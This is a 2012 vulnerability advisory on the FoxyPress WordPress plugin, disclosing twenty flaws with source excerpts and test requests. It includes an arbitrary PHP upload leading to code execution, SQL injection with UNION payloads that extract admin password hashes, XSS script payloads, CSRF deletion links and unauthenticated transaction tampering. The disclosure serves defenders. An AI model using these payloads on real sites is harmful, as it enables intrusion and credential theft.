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[waraxe-2012-SA#095] - Multiple Vulnerabilities in WordPress FoxyPress Plugin =============================================================================== Author: Janek Vind "waraxe" Date: 30. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-95.html Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ FoxyPress is a FREE shopping cart and product management tool that integrates with FoxyCart's e-commerce solution to help you get your store up and running quickly and efficiently. http://wordpress.org/extend/plugins/foxypress/ Affected version: 0.4.2.5 ############################################################################### 1. Arbitrary File Upload Vulnerability in "documenthandler.php" ############################################################################### Reasons: Missing security checks in file upload functionality Attack vectors: Uploaded file Preconditions: Logged in as admin with FoxyPress product editing privileges Php script "documenthandler.php" line 14: ------------------------[ source code start ]---------------------------------- if (!empty($_FILES)) { ... $targetpath = ABSPATH . INVENTORY_DOWNLOADABLE_LOCAL_DIR; ... $newfilename = foxypress_GenerateNewFileName($fileExtension, $inventory_id, $targetpath, $prefix); $targetpath = $targetpath . $newfilename; if(move_uploaded_file($_FILES['Filedata']['tmp_name'], $targetpath)) ------------------------[ source code end ]------------------------------------ As we can see above, there is no security checks against uploaded file. As result, attacker is able to upload files with arbitrary extension to remote system. In case of php files this vulnerability leads to RCE (Remote Code Execution). Test: 1. Open product editing webpage: http://localhost/wp342/wp-admin/post.php?post=43&action=edit 2. Look for "Digital Downloads". Insert some number to the input box below: "Max Downloads allowed (if you need to override the main setting)". 3. There must be "Browse Files" button (Flash-based). Choose the php file, you want to upload. We can observe AJAX in action and as result download link appears: http://localhost/wp342/wp-content/inventory_downloadables/my_download_jw82ku0jz9_43.php Opening that download link will execute previously uploaded php file. ############################################################################### 2. SQL Injection Vulnerability in "documenthandler.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied POST parameter "prefix" Preconditions: Logged in as admin with FoxyPress product editing privileges Php script "documenthandler.php" line 14: ------------------------[ source code start ]---------------------------------- if (!empty($_FILES)) { $inventory_id = intval( $_POST['inventory_id'] ); $downloadabletable = $_POST['prefix']; ... $query = "INSERT INTO " . $downloadabletable . " SET inventory_id='" . $inventory_id . "', filename='" . mysql_escape_string($newfilename) . "',maxdownloads= '" . mysql_escape_string($downloadablemaxdownloads) . "', status = 1"; $wpdb->query($query); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied POST parameter "prefix" in used in subsequent SQL "INSERT INTO" query as table name. There is no input data sanitization, therefore attacker is able to insert any data to any tables in current database. Test (parameter "security" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=foxypress_download&security=844b64ce45" method="post" enctype="multipart/form-data"> <input type="file" name="Filedata"> <input type="hidden" name="downloadablemaxdownloads" value="1"> <input type="hidden" name="prefix" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Table 'wp342.waraxe' doesn't exist] INSERT INTO waraxe SET inventory_id='0', filename='downloadable_qga73aojs8_0.php', maxdownloads= '1', status = 1 ############################################################################### 3. SQL Injection Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied GET parameter "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 14: ------------------------[ source code start ]---------------------------------- function foxypress_manage_emails_page_load() { global $wpdb; if(isset($_GET['mode']) && $_GET['mode']=='edit') { if(isset($_POST['foxy_em_save'])) { ... $sql = "UPDATE". $wpdb->prefix . "foxypress_email_templates set foxy_email_template_name='".$templatename."', foxy_email_template_subject='".$subject."', foxy_email_template_email_body='".$content."', foxy_email_template_from='" . $from . "' WHERE email_template_id=".$_GET[id]; ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&mode=edit&id=waraxe" method="post"> <input type="hidden" name="foxy_em_save" value="1"> <input type="hidden" name="templatename" value="2"> <input type="hidden" name="subject" value="3"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] UPDATE wp_foxypress_email_templates set foxy_email_template_name='2', foxy_email_template_subject='3', foxy_email_template_email_body='', foxy_email_template_from='' WHERE email_template_id=waraxe ############################################################################### 4. SQL Injection Vulnerabilities in "inventory-category.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: 1. case: User-supplied POST parameter "foxy_cat_id" 2. case: User-supplied GET parameter "category_id" Preconditions: Logged in as admin with FoxyPress management privileges *************** --> Case 1 <-- *************** Php script "inventory-category.php" line 28: ------------------------[ source code start ]---------------------------------- else if(isset($_POST['foxy_cat_save'])) //updating { $Category_Name = foxypress_FixPostVar('foxy_cat_name'); $Category_ID = foxypress_FixPostVar('foxy_cat_id'); $sql = "UPDATE " . $wpdb->prefix . "foxypress_inventory_categories SET category_name='" . $Category_Name . "' WHERE category_id=" . $Category_ID; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category" method="post"> <input type="hidden" name="foxy_cat_save" value="1"> <input type="hidden" name="foxy_cat_name" value="1"> <input type="hidden" name="foxy_cat_id" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] UPDATE wp_foxypress_inventory_categories SET category_name='1' WHERE category_id=waraxe *************** --> Case 2 <-- *************** Php script "inventory-category.php" line 36: ------------------------[ source code start ]---------------------------------- else if($mode == "delete" &&foxypress_FixGetVar('category_id') != "") //deleting { $category_id = foxypress_FixGetVar('category_id'); ... //delete from categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_categories WHERE category_id=" . $category_id; $wpdb->query($sql); //deletefrom inventory to categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_to_category WHERE category_id=" . $category_id; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete&category_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_foxypress_inventory_categories WHERE category_id=waraxe WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_foxypress_inventory_to_category WHERE category_id=waraxe ############################################################################### 5. SQL Injection Vulnerabilities in "affiliate-management.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: 1. case: User-supplied GET parameter "order" 2. case: User-supplied GET parameter "banner_id" 3. case: User-supplied GET parameter "affiliate_id" Preconditions: Logged in as admin with FoxyPress management privileges *************** --> Case 1 <-- *************** Php script "affiliate-management.php" line 1060: ------------------------[ source code start ]---------------------------------- function foxypress_create_affiliate_table() { ... $banner_order_by = $fp_banner->foxypress_FixGetVar('orderby'); $banner_order= $fp_banner->foxypress_FixGetVar('order'); ... $fp_banner->prepare_items($banner_order_by, $banner_order); ... function prepare_items($order_by = '', $order = '') { ... if (!$order) { $sort_order = 'ASC'; } else { $sort_order = strtoupper($order); } if ($order_by === 'management_asset_name') { $sort_by = 'foxy_asset_name ' . $sort_order; } ... $sql_data = "SELECT * FROM " . $wpdb->base_prefix . "foxypress_affiliate_assets ORDER BY " . $sort_by; $data = $wpdb->get_results($sql_data); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&orderby=management_asset_name&order=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WARAXE' at line 3] SELECT * FROM wp_foxypress_affiliate_assets ORDER BY foxy_asset_name WARAXE *************** --> Case 2 <-- *************** Php script "affiliate-management.php" line 217: ------------------------[ source code start ]---------------------------------- function get_affiliate_banner() { global $wpdb; $banner_id = $this->foxypress_FixGetVar('banner_id'); $data = "SELECT * FROM " . $wpdb->prefix . "foxypress_affiliate_assets WHERE id = " . $banner_id; return $wpdb->get_results($data); } ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_banner&banner_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_foxypress_affiliate_assets WHERE id = waraxe Test (fetching admin credentials from database, table prefix must be valid): http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_banner&banner_id=0+UNION+SELECT+1,1,(SELECT+CONCAT_WS(0x3a,user_login,user_pass)FROM+wp_users+WHERE+ID=1),1,1,1 *************** --> Case 3 <-- *************** Php script "affiliate-management.php" line 951: ------------------------[ source code start ]---------------------------------- $affiliate_id = $this->foxypress_FixGetVar('affiliate_id'); $sql_data = "SELECT * FROM " . $wpdb->prefix . "foxypress_affiliate_payments WHERE foxy_affiliate_id = " . $affiliate_id . " ORDER BY " . $sort_by; ... $data = $wpdb->get_results($sql_data); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_past_details&affiliate_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_foxypress_affiliate_payments WHERE foxy_affiliate_id = waraxe ORDER BY foxy_transaction_id DESC Test (fetching admin credentials from database, table prefix must be valid): http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_past_details&affiliate_id=0+UNION+SELECT+1,1,1,1,1,1,1,1,(SELECT+CONCAT_WS(0x3a,user_login,user_pass)FROM+wp_users+WHERE+ID=1),1,1 ############################################################################### 6. Reflected XSS Vulnerability in "reports.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied POST parameters "txtStartDate", "txtEndDate", "txtProductCode" Preconditions: Logged in as admin with FoxyPress management privileges Php script "reports.php" line 68: ------------------------[ source code start ]---------------------------------- if(isset($_POST['txtStartDate'])){$txtStartDate = $_POST['txtStartDate'];}else{$txtStartDate = "";} if(isset($_POST['txtEndDate'])){$txtEndDate = $_POST['txtEndDate'];}else{$txtEndDate = "";} if(isset($_POST['txtProductCode'])){$txtProductCode = $_POST['txtProductCode'];}else{$txtProductCode = "";} ... <input type="text" id="txtStartDate" name="txtStartDate" value=" <?php echo(($txtStartDate != "") ? $txtStartDate : date("Y-m-d"))?>" /> ... <input type="text" id="txtEndDate" name="txtEndDate"value=" <?php echo(($txtEndDate != "") ? $txtEndDate : date("Y-m-d")); ?>" /> ... <td><input id="txtProductCode" name="txtProductCode" type="text" value=" <?php echo($txtProductCode);?>" /></td> ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=reports&report=2" method="post"> <input type="hidden" name="txtStartDate" value='"><script>alert(123)</script>'> <input type="hidden" name="txtEndDate" value='"><script>alert(223)</script>'> <input type="hidden" name="txtProductCode" value='"><script>alert(323)</script>'> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 7. Reflected XSS Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 42: ------------------------[ source code start ]---------------------------------- <td width="180"><?php _e('Template ID', 'foxypress'); ?></td><td><?php _e($_GET['id']); ?></td> ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&mode=edit&id=<body+onload=alert(123);> ############################################################################### 8. Reflected XSS Vulnerability in "foxypress-affiliate.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "aff_id" Preconditions: Logged in as WordPress user Php script "foxypress-affiliate.php" line 16: ------------------------[ source code start ]---------------------------------- $affiliate_id = $_GET['aff_id']; ... $_SESSION['affiliate_id'] = $affiliate_id; ------------------------[ source code end ]------------------------------------ Php script "affiliate-signup.php" line 140: ------------------------[ source code start ]---------------------------------- <input type="hidden" name="affiliate_referred_by_id" id="affiliate_referred_by_id" value="<?php echo $_SESSION['affiliate_id']; ?>"> ------------------------[ source code end ]------------------------------------ Test (two-step XSS): 1. Log in as WordPress user who is not yet registered affiliate 2. open URL below: http://localhost/wp342/wp-content/plugins/foxypress/foxypress-affiliate.php?aff_id="><script>alert(123);</script> 3. open affiliate signup page: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-signup Result: we can observe XSS payload execution ############################################################################### 9. Reflected XSS Vulnerability in "order-management.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "status" Preconditions: Logged in as admin with FoxyPress management privileges Php script "order-management.php" line 173: ------------------------[ source code start ]---------------------------------- $List_Status = foxypress_FixGetVar("status", ""); ... $basePage =$Page_URL . "?post_type=" . FOXYPRESS_CUSTOM_POST_TYPE . "&page=order-management&status=" . $List_Status . "&mode=list"; ... <option value=\"" . $basePage. "\"" . (($Transaction_Type == "") ? "selected='selected'" : "") . ">" . __('All Transactions', 'foxypress') . "</option> ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=order-management&status="></option></select><script>alert(123);</script> ############################################################################### 10. Reflected XSS Vulnerability in "affiliate-management.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied POST parameter "page" Preconditions: Logged in as admin with FoxyPress management privileges Php script "affiliate-management.php" line 1125: ------------------------[ source code start ]---------------------------------- <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" /> ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management" method="post"> <input type="hidden" name="page" value='"><script>alert(123);</script>'> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 11. Open Redirect Vulnerability in "foxypress-affiliate.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied GET parameter "url" Preconditions: none Results: allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks Php script "foxypress-affiliate.php" line 17: ------------------------[ source code start ]---------------------------------- if (isset($_GET['url'])) { $destination_url = $_GET['url']; ... header('Location: ' . $destination_url); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-content/plugins/foxypress/foxypress-affiliate.php?url=http://php.net/ ############################################################################### 12. Information Leakage Vulnerability via directly accessible CSV files ############################################################################### Foxypress is using three different CSV files - "Inventory.csv", "Export.csv" and "Coupons.csv" as containers for temporal data. These three files are directly accessible and can be downloaded without any restrictions. As result attacker may obtain potentially sensitive information. Php script "import-export.php" line 34: ------------------------[ source code start ]---------------------------------- if (move_uploaded_file($_FILES['file_import']['tmp_name'], WP_PLUGIN_DIR . '/foxypress/Inventory.csv')) ... $f = fopen(WP_PLUGIN_DIR . "/foxypress/Export.csv", "x+"); ... fputcsv($f, $line ); fseek($f, -1, SEEK_CUR); fwrite($f, "\r\n"); ------------------------[ source code end ]------------------------------------ Php script "reports.php" line 557: ------------------------[ source code start ]---------------------------------- $f = fopen(WP_PLUGIN_DIR . "/foxypress/Coupons.csv", "x+"); ... fputcsv($f, $line); fseek($f, -1, SEEK_CUR); fwrite($f, "\r\n"); ------------------------[ source code end ]------------------------------------ Tests: http://localhost/wp342/wp-content/plugins/foxypress/Coupons.csv http://localhost/wp342/wp-content/plugins/foxypress/Export.csv http://localhost/wp342/wp-content/plugins/foxypress/Inventory.csv ############################################################################### 13. CSRF Vulnerability in "affiliate-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "mode" and "banner_id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "affiliate-management.php" line 1348: ------------------------[ source code start ]---------------------------------- <?php } else if ($mode === 'delete_banner') { global $wpdb; $banner_id = $fp_banner->foxypress_FixGetVar('banner_id'); $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_affiliate_assets WHERE ID = '" . $banner_id . "'"; ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=delete_banner&banner_id=123 Result: "Banner Deleted!" ############################################################################### 14. CSRF Vulnerabilities in "inventory-category.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "mode" and "category_id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "inventory-category.php" line 36: ------------------------[ source code start ]---------------------------------- else if($mode == "delete" &&foxypress_FixGetVar('category_id') != "") //deleting { $category_id = foxypress_FixGetVar('category_id'); ... //delete from categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_categories WHERE category_id=" . $category_id; $wpdb->query($sql); //deletefrom inventory to categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_to_category WHERE category_id=" . $category_id; $wpdb->query($sql); ... else if($mode == "delete_image" && foxypress_FixGetVar('category_id') != "") { $category_id = foxypress_FixGetVar('category_id'); ... foxypress_DeleteItem($directory . $data->category_image); $wpdb->query("UPDATE " . $wpdb->prefix . "foxypress_inventory_categories SET category_image = NULL where category_id = '" . mysql_escape_string($category_id) . "'"); ------------------------[ source code end ]------------------------------------ Tests: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete&category_id=123 http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete_image&category_id=123 ############################################################################### 15. CSRF Vulnerability in "inventory-option-groups.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "optiongroupid" Preconditions: Logged in as admin with FoxyPress management privileges Php script "inventory-option-groups.php" line 15: ------------------------[ source code start ]---------------------------------- $action = foxypress_FixGetVar("action"); ... else if($action == "deleteoptiongroup") { $option_group_id = foxypress_FixGetVar('optiongroupid', ''); if($option_group_id != "") { //delete option group $wpdb->query("delete from " . $wpdb->prefix . "foxypress_inventory_option_group" . " where option_group_id = '" . $option_group_id . "'"); //delete options related to option group $wpdb->query("delete from " . $wpdb->prefix . "foxypress_inventory_options" . " where option_group_id = '" . $option_group_id . "'"); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-option-groups&action=deleteoptiongroup&optiongroupid=123 ############################################################################### 16. CSRF Vulnerability in "status-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "status" Preconditions: Logged in as admin with FoxyPress management privileges Php script "status-management.php" line 18: ------------------------[ source code start ]---------------------------------- $StatusID = foxypress_FixGetVar("status", ""); $Action = foxypress_FixGetVar("action", ""); ... if($Action == "delete" && $StatusID != "" && $StatusID != "1") { //delete status $sql = "delete from" . $wpdb->prefix . "foxypress_transaction_status WHERE foxy_transaction_status = '$StatusID'"; $wpdb->query($sql); //update transactions in limbo to unprocessed $sql = "update " . $wpdb->prefix ."foxypress_transaction SET foxy_transaction_status = '1' WHERE foxy_transaction_status = '$StatusID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=status-management&action=delete&status=123 ############################################################################### 17. CSRF Vulnerability in "order-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "note" Preconditions: Logged in as admin with FoxyPress management privileges Php script "order-management.php" line 19: ------------------------[ source code start ]---------------------------------- $Page_Action = foxypress_FixGetVar("action", ""); ... else if($Page_Action == "deletenote" && foxypress_FixGetVar("note", "") != "") { ... $NoteID = foxypress_FixGetVar("note", ""); $sql = "delete from" . $wpdb->prefix . "foxypress_transaction_note WHERE foxy_transaction_id = '$TransactionID' and foxy_transaction_note_id='$NoteID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=order-management&action=deletenote¬e=123 ############################################################################### 18. CSRF Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 450: ------------------------[ source code start ]---------------------------------- $action = foxypress_FixGetVar('action'); if ($action === 'updated') { ... }else if ($action === 'delete') { sql = "delete from" . $wpdb->prefix . "foxypress_email_templates WHERE email_template_id = '".$_GET['id']."'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&action=delete&id=123 Result: "Your email template has been successfully deleted!" ############################################################################### 19. Unauthorized Access Vulnerability in "ajax.php" ############################################################################### Reasons: missing authorization Preconditions: none Php script "ajax.php" line 7: ------------------------[ source code start ]---------------------------------- session_start(); ... $mode = foxypress_FixGetVar('m'); header('Content-type: application/json'); if($mode == "tracking") { //tracking vars $lastname = foxypress_FixGetVar('ln'); $id = foxypress_FixGetVar('id'); ... //search table for tracking number $item = $wpdb->get_row("SELECT t.*, s.foxy_transaction_status_description FROM " .$wpdb->prefix . "foxypress_transaction as t INNER JOIN " . $wpdb->prefix . "foxypress_transaction_status as s on t.foxy_transaction_status = s.foxy_transaction_status WHERE t.foxy_transaction_id = '" . $id . "' and LOWER(t.foxy_transaction_last_name) = LOWER('" . $lastname . "')"); ... else if($mode == "deletedownloadable") { ... $session_id = foxypress_FixGetVar('sid'); $downloadable_id = foxypress_FixGetVar('downloadableid'); ... if($session_id == session_id()) { ... $query = "UPDATE ". $wpdb->prefix. "foxypress_inventory_downloadables SET status = '0' WHERE downloadable_id='" . mysql_escape_string($downloadable_id) . "'"; $wpdb->query($query); ... else if($mode == "savemaxdownloads") ... else if($mode == "resetdownloadcount") ... else if($mode == "save-image-order") ... else if($mode == "transaction_submit") ... //save transaction status $sql = "update " . $wpdb->prefix ."foxypress_transaction SET foxy_transaction_status = '$NewStatus', foxy_transaction_trackingnumber = '$TrackingNumber', foxy_transaction_rmanumber = '$RMANumber' WHERE foxy_transaction_id = '$TransactionID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Php script "ajax.php" can handle six different operations: "tracking", "deletedownloadable", "savemaxdownloads", "resetdownloadcount", "save-image-order" and "transaction_submit". There is no authorization checks at all, so anyone can use this script, no valid session required. This security vulnerability may lead to information leakage and data tampering. 1. operation "tracking": if attacker can guess transaction ID and subject's last name, then it is possible to obtain shipping address, transaction status and tracking number. Transaction ID is integer and can be bruteforced. Test (transaction ID "id" and last name "ln" must be valid): http://localhost/wp342/wp-content/plugins/foxypress/ajax.php?m=tracking&id=123&ln=doe 2. operations "deletedownloadable", "savemaxdownloads", "resetdownloadcount" allows unauthorized attacker to manipulate with digital downloads settings. There is a check for valid php session ID, so attack will be 2-step. Test: First, let's open "ajax.php" webpage, so that php session is created: http://localhost/wp342/wp-content/plugins/foxypress/ajax.php Php session ID can be found from cookies: PHPSESSID=1jnd2u36vmvesa33jcsappmbs2 Next, let's issue GET request with found session ID: localhost/wp342/wp-content/plugins/foxypress/ajax.php?m=deletedownloadable&sid=1jnd2u36vmvesa33jcsappmbs2&inventoryid=foobar&downloadableid=2 Result: {"ajax_status":"ok"} In this way unauthorized attacker can delete (disable) any digital downloads. 3. operation "save-image-order" allows unauthorized attacker to change menu ordering and has minor effect. 4. operation "transaction_submit" allows unauthorized attacker to change transaction status, tracking number and RMA number, if transaction ID is known. Transaction ID is integer and can be bruteforced. ############################################################################### 20. Full Path Disclosure Vulnerability in multiple scripts ############################################################################### Reasons: Direct request to php script triggers pathname leak in error message Preconditions: PHP directive "display_errors=on" Result: Information Exposure Through an Error Message Tests: http://localhost/wp342/wp-content/plugins/foxypress/custom-post-type.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\custom-post-type.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-manage-emails.php Fatal error: Call to undefined function load_plugin_textdomain() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-manage-emails.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-redirect.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-redirect.php on line 8 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-settings.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-settings.php on line 8 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-templates.php Fatal error: Call to undefined function load_plugin_textdomain() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-templates.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress.php Fatal error: Call to undefined function register_activation_hook() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress.php on line 46 http://localhost/wp342/wp-content/plugins/foxypress/import-export.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\import-export.php on line 8 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |
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